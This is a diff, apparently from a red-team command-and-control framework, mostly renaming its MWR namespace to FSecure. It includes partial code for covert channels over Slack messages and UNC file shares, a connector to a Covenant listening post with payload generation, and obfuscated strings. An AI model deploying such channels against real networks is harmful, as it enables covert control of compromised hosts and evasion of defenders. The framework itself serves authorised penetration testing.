<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Mock.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Beacon.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Grunt.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\Interface.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\InterfaceFactory.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\InitializeSockets.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\Socket.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\AbstractService.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Pipe.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Proxy.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Services.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\HostInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\StructuredExceptionHandling.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\InjectionBuffer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Compression.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)CppCodec\base32_default_crockford.hpp" />
@ -33,65 +33,65 @@
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)json\json.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)libSodium\include\sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\AutomaticRegistrator.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\BackendCommons.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\HasConstructor.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Sdk.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Payload.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ScopeGuard.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base32.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base64.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Crypto.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\EncryptionKey.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Nonce.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\SocketsException.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\UniqueHandle.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Sockets.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.hxx" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\SafeSmartPointerContainer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Beacon.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\AutomaticRegistrator.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\BackendCommons.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\HasConstructor.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\Interface.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\InterfaceFactory.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Sdk.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Payload.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ScopeGuard.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Base32.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Base64.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Crypto.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\EncryptionKey.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Nonce.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\InitializeSockets.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\Socket.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\SocketsException.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\AbstractService.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Pipe.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Proxy.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Services.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\UniqueHandle.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Mock.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\Sockets.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\Interface.hxx" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\SafeSmartPointerContainer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Indexes.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Inline.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\MetaRandom.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\MetaString.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\SecureString.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\SecureString.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\HostInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\StructuredExceptionHandling.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)C3_BUILD_VERSION_HASH_PART.hxx" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\InjectionBuffer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteArray.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteConverter.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteVector.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteView.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Grunt.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\InjectionBuffer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteArray.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteVector.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteView.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Grunt.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)zlib\include\zconf.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)zlib\include\zlib.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Compression.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Compression.h" />
</ItemGroup>
</Project>

View File

@ -1,18 +1,18 @@
#include "Stdafx.h"
#include "Slack.h"
#include "Common/MWR/Crypto/Base64.h"
#include "Common/FSecure/Crypto/Base64.h"
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Channels::Slack::Slack(ByteView arguments)
FSecure::C3::Interfaces::Channels::Slack::Slack(ByteView arguments)
: m_inboundDirectionName{ arguments.Read<std::string>() }
, m_outboundDirectionName{ arguments.Read<std::string>() }
{
auto [slackToken, channelName] = arguments.Read<std::string, std::string>();
m_slackObj = MWR::Slack{ slackToken, channelName };
m_slackObj = FSecure::Slack{ slackToken, channelName };
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t MWR::C3::Interfaces::Channels::Slack::OnSendToChannel(ByteView data)
size_t FSecure::C3::Interfaces::Channels::Slack::OnSendToChannel(ByteView data)
{
//Begin by creating a message where we can write the data to in a thread, both client and server ignore this message to prevent race conditions
std::string updateTs = m_slackObj.WriteMessage(m_outboundDirectionName + OBF(":writing"));
@ -29,7 +29,7 @@ size_t MWR::C3::Interfaces::Channels::Slack::OnSendToChannel(ByteView data)
}
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Channels::Slack::OnReceiveFromChannel()
FSecure::ByteVector FSecure::C3::Interfaces::Channels::Slack::OnReceiveFromChannel()
{
auto messages = m_slackObj.GetMessagesByDirection(m_inboundDirectionName + OBF(":Done"));
@ -60,13 +60,13 @@ MWR::ByteVector MWR::C3::Interfaces::Channels::Slack::OnReceiveFromChannel()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Channels::Slack::DeleteReplies(std::vector<std::string> const &repliesTs)
void FSecure::C3::Interfaces::Channels::Slack::DeleteReplies(std::vector<std::string> const &repliesTs)
{
for (auto&& ts : repliesTs)
m_slackObj.DeleteMessage(ts);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Channels::Slack::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Channels::Slack::GetCapability()
{
return R"_(
{

View File

@ -1,7 +1,7 @@
#pragma once
#include "Common/MWR/Slack/SlackApi.h"
#include "Common/FSecure/Slack/SlackApi.h"
namespace MWR::C3::Interfaces::Channels
namespace FSecure::C3::Interfaces::Channels
{
///Implementation of the Slack Channel.
struct Slack : public Channel<Slack>
@ -36,7 +36,7 @@ namespace MWR::C3::Interfaces::Channels
private:
/// An object encapsulating Slack's API, providing methods allowing the consumer to send and receive messages to slack, among other things.
MWR::Slack m_slackObj;
FSecure::Slack m_slackObj;
/// Delete all the replies to a message.
/// @param repliesTs - an array of timestamps of messages to be deleted through DeleteMessage.

View File

@ -1,7 +1,7 @@
#include "StdAfx.h"
#include "UncShareFile.h"
#include "Common/MWR/Crypto/Base64.h"
#include <Common/MWR/WinTools/UniqueHandle.h>
#include "Common/FSecure/Crypto/Base64.h"
#include <Common/FSecure/WinTools/UniqueHandle.h>
#include <random>
#include <fstream>
#include <sstream>
@ -39,7 +39,7 @@ namespace
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Channels::UncShareFile::UncShareFile(ByteView arguments)
FSecure::C3::Interfaces::Channels::UncShareFile::UncShareFile(ByteView arguments)
: m_InboundDirectionName{ arguments.Read<std::string>() }
, m_OutboundDirectionName{ arguments.Read<std::string>() }
, m_FilesystemPath{ arguments.Read<std::string>() }
@ -57,7 +57,7 @@ MWR::C3::Interfaces::Channels::UncShareFile::UncShareFile(ByteView arguments)
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
size_t MWR::C3::Interfaces::Channels::UncShareFile::OnSendToChannel(ByteView data)
size_t FSecure::C3::Interfaces::Channels::UncShareFile::OnSendToChannel(ByteView data)
{
try
{
@ -65,7 +65,7 @@ size_t MWR::C3::Interfaces::Channels::UncShareFile::OnSendToChannel(ByteView dat
std::filesystem::path packetFilePath;
do
{
lockFilePath = m_FilesystemPath / (m_OutboundDirectionName + std::to_string(MWR::Utils::GenerateRandomValue<int>(10000, 99999)) + OBF(".lock"));
lockFilePath = m_FilesystemPath / (m_OutboundDirectionName + std::to_string(FSecure::Utils::GenerateRandomValue<int>(10000, 99999)) + OBF(".lock"));
packetFilePath = lockFilePath;
packetFilePath.replace_extension();
} while (std::filesystem::exists(packetFilePath) or std::filesystem::exists(lockFilePath));
@ -96,7 +96,7 @@ size_t MWR::C3::Interfaces::Channels::UncShareFile::OnSendToChannel(ByteView dat
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
std::vector<MWR::ByteVector> MWR::C3::Interfaces::Channels::UncShareFile::OnReceiveFromChannel()
std::vector<FSecure::ByteVector> FSecure::C3::Interfaces::Channels::UncShareFile::OnReceiveFromChannel()
{
// Read a single packet from the oldest file that belongs to this channel
@ -133,7 +133,7 @@ std::vector<MWR::ByteVector> MWR::C3::Interfaces::Channels::UncShareFile::OnRece
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Channels::UncShareFile::RemoveAllPackets()
void FSecure::C3::Interfaces::Channels::UncShareFile::RemoveAllPackets()
{
// Iterate through the list of file tasks, removing each of them one by one.
for (auto&& directoryEntry : std::filesystem::directory_iterator(m_FilesystemPath))
@ -141,7 +141,7 @@ void MWR::C3::Interfaces::Channels::UncShareFile::RemoveAllPackets()
RemoveFile(directoryEntry.path());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool MWR::C3::Interfaces::Channels::UncShareFile::BelongToChannel(std::filesystem::path const& path) const
bool FSecure::C3::Interfaces::Channels::UncShareFile::BelongToChannel(std::filesystem::path const& path) const
{
auto filename = path.filename().string();
if (filename.size() < m_InboundDirectionName.size())
@ -160,7 +160,7 @@ bool MWR::C3::Interfaces::Channels::UncShareFile::BelongToChannel(std::filesyste
return !std::filesystem::exists(lockfile);
}
void MWR::C3::Interfaces::Channels::UncShareFile::RemoveFile(std::filesystem::path const& path)
void FSecure::C3::Interfaces::Channels::UncShareFile::RemoveFile(std::filesystem::path const& path)
{
for (auto i = 0; i < 10; ++i)
try
@ -179,7 +179,7 @@ void MWR::C3::Interfaces::Channels::UncShareFile::RemoveFile(std::filesystem::pa
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Channels::UncShareFile::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Interfaces::Channels::UncShareFile::OnRunCommand(ByteView command)
{
auto commandCopy = command; //each read moves ByteView. CommandCoppy is needed for default.
switch (command.Read<uint16_t>())
@ -194,7 +194,7 @@ MWR::ByteVector MWR::C3::Interfaces::Channels::UncShareFile::OnRunCommand(ByteVi
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Channels::UncShareFile::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Channels::UncShareFile::GetCapability()
{
return R"(
{

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::C3::Interfaces::Channels
namespace FSecure::C3::Interfaces::Channels
{
/// Implementation of the FileSharing via UNC paths Channel.
class UncShareFile : public Channel<UncShareFile>

View File

@ -1,13 +1,13 @@
#include "StdAfx.h"
#include "Common/MWR/Sockets/SocketsException.h"
#include "Common/FSecure/Sockets/SocketsException.h"
#include "Common/json/json.hpp"
#include "Common/CppRestSdk/include/cpprest/http_client.h"
#include "Common/MWR/Crypto/Base64.h"
#include "Common/MWR/CppTools/Compression.h"
#include "Common/FSecure/Crypto/Base64.h"
#include "Common/FSecure/CppTools/Compression.h"
using json = nlohmann::json;
namespace MWR::C3::Interfaces::Connectors
namespace FSecure::C3::Interfaces::Connectors
{
/// A class representing communication with Covenant.
struct Covenant : Connector<Covenant>
@ -56,7 +56,7 @@ namespace MWR::C3::Interfaces::Connectors
/// Sends data directly to Covenant.
/// @param data buffer containing blob to send.
/// @remarks throws MWR::WinSocketsException on WinSockets error.
/// @remarks throws FSecure::WinSocketsException on WinSockets error.
void Send(ByteView data);
/// Creates the receiving thread.
@ -92,12 +92,12 @@ namespace MWR::C3::Interfaces::Connectors
/// @param jitter percent to jitter the delay by
/// @param listenerId the id of the Bridge listener for covenant
/// @return generated payload.
MWR::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t connectAttempts);
FSecure::ByteVector GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t connectAttempts);
/// Close desired connection
/// @arguments arguments for command. connection Id in string form.
/// @returns ByteVector empty vector.
MWR::ByteVector CloseConnection(ByteView arguments);
FSecure::ByteVector CloseConnection(ByteView arguments);
/// Initializes Sockets library. Can be called multiple times, but requires corresponding number of calls to DeinitializeSockets() to happen before closing the application.
/// @return value forwarded from WSAStartup call (zero if successful).
@ -141,7 +141,7 @@ namespace MWR::C3::Interfaces::Connectors
};
}
bool MWR::C3::Interfaces::Connectors::Covenant::UpdateListenerId()
bool FSecure::C3::Interfaces::Connectors::Covenant::UpdateListenerId()
{
std::string url = this->m_webHost + OBF("/api/listeners");
std::pair<std::string, uint16_t> data;
@ -184,7 +184,7 @@ bool MWR::C3::Interfaces::Connectors::Covenant::UpdateListenerId()
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
FSecure::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
{
json postData;
json response;
@ -272,13 +272,13 @@ MWR::C3::Interfaces::Connectors::Covenant::Covenant(ByteView arguments)
InitializeSockets();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::~Covenant()
FSecure::C3::Interfaces::Connectors::Covenant::~Covenant()
{
DeinitializeSockets();
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::Covenant::OnCommandFromBinder(ByteView binderId, ByteView command)
void FSecure::C3::Interfaces::Connectors::Covenant::OnCommandFromBinder(ByteView binderId, ByteView command)
{
std::scoped_lock<std::mutex> lock(m_ConnectionMapAccess);
@ -293,7 +293,7 @@ void MWR::C3::Interfaces::Connectors::Covenant::OnCommandFromBinder(ByteView bin
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
int MWR::C3::Interfaces::Connectors::Covenant::InitializeSockets()
int FSecure::C3::Interfaces::Connectors::Covenant::InitializeSockets()
{
WSADATA wsaData;
WORD wVersionRequested;
@ -302,13 +302,13 @@ int MWR::C3::Interfaces::Connectors::Covenant::InitializeSockets()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
bool MWR::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
bool FSecure::C3::Interfaces::Connectors::Covenant::DeinitializeSockets()
{
return WSACleanup() == 0;
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t connectAttempts)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteView binderId, std::string pipename, uint32_t delay, uint32_t jitter, uint32_t connectAttempts)
{
if (binderId.empty() || pipename.empty())
throw std::runtime_error{ OBF("Wrong parameters, cannot create payload") };
@ -378,14 +378,14 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::GeneratePayload(ByteV
}
}
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::CloseConnection(ByteView arguments)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::Covenant::CloseConnection(ByteView arguments)
{
m_ConnectionMap.erase(arguments);
return {};
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::OnRunCommand(ByteView command)
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::Covenant::OnRunCommand(ByteView command)
{
auto commandCopy = command;
switch (command.Read<uint16_t>())
@ -400,7 +400,7 @@ MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::OnRunCommand(ByteView
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteView MWR::C3::Interfaces::Connectors::Covenant::GetCapability()
FSecure::ByteView FSecure::C3::Interfaces::Connectors::Covenant::GetCapability()
{
return R"(
{
@ -458,7 +458,7 @@ MWR::ByteView MWR::C3::Interfaces::Connectors::Covenant::GetCapability()
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id)
FSecure::C3::Interfaces::Connectors::Covenant::Connection::Connection(std::string_view listeningPostAddress, uint16_t listeningPostPort, std::weak_ptr<Covenant> owner, std::string_view id)
: m_Owner(owner)
, m_Id(ByteView{ id })
{
@ -472,27 +472,27 @@ MWR::C3::Interfaces::Connectors::Covenant::Connection::Connection(std::string_vi
case 0:
throw std::invalid_argument(OBF("Provided Listening Post address in not a valid IPv4 dotted - decimal string or a valid IPv6 address."));
case -1:
throw MWR::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Couldn't convert standard text IPv4 or IPv6 address into its numeric binary form. Error code : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
}
// Attempt to connect.
if (INVALID_SOCKET == (m_Socket = socket(AF_INET, SOCK_STREAM, 0)))
throw MWR::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Couldn't create socket."), WSAGetLastError());
if (SOCKET_ERROR == connect(m_Socket, (struct sockaddr*) & client, sizeof(client)))
throw MWR::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } +OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Could not connect to ") + std::string{ listeningPostAddress } +OBF(":") + std::to_string(listeningPostPort) + OBF("."), WSAGetLastError());
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::C3::Interfaces::Connectors::Covenant::Connection::~Connection()
FSecure::C3::Interfaces::Connectors::Covenant::Connection::~Connection()
{
closesocket(m_Socket);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
void MWR::C3::Interfaces::Connectors::Covenant::Connection::Send(ByteView data)
void FSecure::C3::Interfaces::Connectors::Covenant::Connection::Send(ByteView data)
{
auto owner = m_Owner.lock();
if (!owner)
@ -509,18 +509,18 @@ void MWR::C3::Interfaces::Connectors::Covenant::Connection::Send(ByteView data)
// Write four bytes indicating the length of the next chunk of data.
if (SOCKET_ERROR == send(m_Socket, (char *)&chunkLength, 4, 0))
throw MWR::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
throw FSecure::SocketsException(OBF("Error sending to Socket : ") + std::to_string(WSAGetLastError()) + OBF("."), WSAGetLastError());
// Write the chunk to socket.
send(m_Socket, (char *)&unpacked.front(), length, 0);
}
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
MWR::ByteVector MWR::C3::Interfaces::Connectors::Covenant::Connection::Receive()
FSecure::ByteVector FSecure::C3::Interfaces::Connectors::Covenant::Connection::Receive()
{
DWORD chunkLength = 0, bytesRead;
if (SOCKET_ERROR == (bytesRead = recv(m_Socket, reinterpret_cast<char*>(&chunkLength), 4, 0)))
throw MWR::SocketsException(OBF("Error receiving from Socket : ") + std::to_string(WSAGetLastError()) + ("."), WSAGetLastError());
